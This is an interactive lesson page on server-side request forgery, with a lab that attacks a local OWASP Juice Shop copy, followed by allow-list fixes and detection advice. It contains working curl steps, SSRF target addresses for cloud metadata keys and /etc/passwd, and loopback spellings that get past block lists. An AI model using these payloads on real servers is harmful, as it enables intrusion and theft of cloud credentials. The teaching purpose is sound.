Easier to read with cream paper, a tint, more contrast or larger text? Choose your colours and text, once, for every page.

Free lesson

Server-side request forgery (SSRF) and its fixes

After this lesson: I can stop a server from fetching addresses an attacker chooses.

60 min lesson6 commandsOWASP Juice Shop lab: a vulnerable web shop to attack in your own copy

A quick check that you are not a bot, then your own lab opens on the interactive lesson.

Already have an account? Sign in

A profile picture fetched from inside

Server-side request forgery, or SSRF, is when an attacker makes a server send a web request to an address of the attacker's choosing. The server can reach places the attacker cannot, such as its own admin pages and the cloud's secret keys.

A shop lets you set your profile picture by pasting a web address. The shop's server fetches it for you. What if the address points inside the shop's own network?

The one rule

Warning

This lab is a shop that is insecure on purpose. Attack your own private copy and nothing else; it has no way out to the internet. A real system needs the owner's written permission first. Without it, in the UK, this is a crime under the Computer Misuse Act 1990.

By the end of this lesson

Note

I can stop a server from fetching addresses an attacker chooses.

Quick check: the rule

Have a go

Quick check: the rule

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Key words

WordWhat it meansExample
Server-side request forgerymaking a server fetch an address the attacker chose
Loopback addressan address meaning this same machine127.0.0.1
Private addressan address only reachable inside a network10.0.0.5
Metadata servicea cloud address that hands a server its own keys169.254.169.254
Allow listthe only values that are accepted
Egress filteringlimiting where a server may connect out to

The cells students fill in are left blank in this preview.

Starter

Have a go

Starter

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

The server makes the request, not you

In CSRF the victim's browser was tricked. In SSRF the server is. The attacker sends an address, and the server fetches it with its own network position.

From outside, 127.0.0.1 is your own laptop. From the server, it is the server. So an attacker can reach an admin page that only listens on loopback, a database on a private address, or the cloud's metadata service.

Worked example: what each address reaches

Address givenWhat the server reachesWhy it matters
https://images.example/cat.pngA real pictureThe feature working as meant
http://127.0.0.1:8080/adminIts own admin pagePages that trust loopback
http://10.0.0.7:5432/A database on the private networkFirewalls do not stop it
http://169.254.169.254/latest/meta-data/The cloud metadata serviceIt can hand out keys
file:///etc/passwdA file on its own diskIf the fetcher allows file:

The cells students fill in are left blank in this preview.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Make your shop fetch from inside

Your lab runs OWASP Juice Shop, a shop with flaws on purpose. Start it, then run these in order. The first makes an account in your copy, and the second signs in and keeps the token in J. The third gives the picture form an address on 127.0.0.1. It is the shop's own logo, which only the shop can reach there. The fourth asks where the picture was saved, and the fifth compares its size with the logo's.

Make an account in your copy

Command
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"lab-pass-1","passwordRepeat":"lab-pass-1","securityQuestion":{"id":1},"securityAnswer":"blue"}' http://juice-shop:3000/api/Users | grep -o '"status":"[a-z]*"'

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Sign in and keep the token

Command
J=$(curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"lab-pass-1"}' http://juice-shop:3000/rest/user/login | sed -n 's/.*"token":"\([^"]*\)".*/\1/p'); echo ${#J}

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Ask the shop to fetch from loopback

Command
curl -s -b "token=$J" --data-urlencode "imageUrl=http://127.0.0.1:3000/assets/public/images/JuiceShop_Logo.png" -o /dev/null -w "%{http_code} %{redirect_url}\n" http://juice-shop:3000/profile/image/url

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Where the picture was saved

Command
curl -s -b "token=$J" http://juice-shop:3000/profile | grep -o "assets/public/images/uploads/[0-9a-z.]*" | head -1

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

Is the saved file the logo?

Command
docker exec juice-shop /nodejs/bin/node -e "const fs=require('fs');const d='/juice-shop/frontend/dist/frontend/assets/public/images/';console.log(fs.statSync(d+'uploads/'+process.argv[1]).size,fs.statSync(d+'JuiceShop_Logo.png').size)" $(curl -s -b "token=$J" http://juice-shop:3000/profile | grep -o "uploads/[0-9]*.png" | head -1 | cut -d/ -f2)

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

What the answers tell you

The first prints "status":"success" and the second a number, about 720, the length of your token. The third prints 302 http://juice-shop:3000/profile: the shop accepted the address and sent you back to your profile. The fourth prints a path such as assets/public/images/uploads/25.png, named after your account's number.

The fifth prints the same size twice, 28641 28641. The shop fetched its own logo from 127.0.0.1 and saved it as your picture.

The line that fetches

Command
docker exec juice-shop /nodejs/bin/node -e "require('fs').readFileSync('/juice-shop/build/routes/profileImageUrlUpload.js','utf8').split('\n').forEach((l,i)=>{if(l.includes('fetch('))console.log(i+1,l.trim())})"

Shown here, not run. Press Start lab to type it into your own lab’s terminal.

A common mistake

Warning

Many people think blocking the text "127.0.0.1" and "localhost" fixes SSRF. It does not: the same machine is also 127.1, 2130706433, [::1] and any name that resolves to it. A block list misses spellings. Allow only the hosts you mean, and check the address the name really resolves to.

The fix: an allow list, a narrow exit

First, ask whether the server needs to fetch at all. A file upload is often simpler than a fetched address.

If it must fetch, allow only https and only hosts on an allow list. Refuse user names in addresses, resolve the name, and refuse loopback, private and link-local results. Do not follow redirects blindly. Behind that, egress filtering lets the server connect out only to where it should.

Checking an address before fetching it

Code: python
import ipaddress
from urllib.parse import urlsplit

ALLOWED = ["images.example"]
# Change url to http://127.0.0.1:3000/, then to http://[email protected]/, and press Run.
url = "https://images.example/cat.png"
parts = urlsplit(url)
host = parts.hostname
try:
    internal = ipaddress.ip_address(host).is_private
except ValueError:
    internal = False
if parts.scheme != "https" or "@" in parts.netloc or internal or host not in ALLOWED:
    print("refused:", url)
else:
    print("fetch:", url)

Make a free account to save your work and track your progress.

Check

Have a go

Check

3 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

How to detect SSRF

Log every address the server fetches on a user's behalf, with the account that asked. An address on loopback, a private range or 169.254.169.254 is worth an alert. So is a burst of failures to many ports.

In the cloud, require a session token for the metadata service (IMDSv2) and alert on requests to it from processes that never need it.

Match each defence to what it stops

Have a go

Loading…

Your answers are marked here and are not kept. An account keeps your marks.

Assignment: check an address

Write url_problem(url, allowed_hosts). Return "" if a server may fetch the address, or the first problem in this order: "scheme" if it is not http or https, "userinfo" if the host part has an @, "no host" if there is no host, "internal" for localhost, a name ending .localhost or a private, loopback, link-local or unspecified IP address, and "not allowed" for any host not in allowed_hosts. Then write allowed_urls(urls, allowed_hosts), which keeps the addresses with no problem, in order.

Code: python
import ipaddress
from urllib.parse import urlsplit


def url_problem(url, allowed_hosts):
    # Return "" if the server may fetch url, or the first problem:
    # "scheme", "userinfo", "no host", "internal" or "not allowed".
    return ""


def allowed_urls(urls, allowed_hosts):
    # Return the urls with no problem, in the order given.
    return urls

Make a free account to save your work and track your progress.

Exit quiz

Have a go

Exit quiz

5 questions
Have a go: your answers are marked here and then forgotten. Sign in if you would like your score kept, and to pick up where you left off.Sign in to keep your score

Teaching a class? Set this module for your students with a teacher guide, marked assignments and a lab for every student.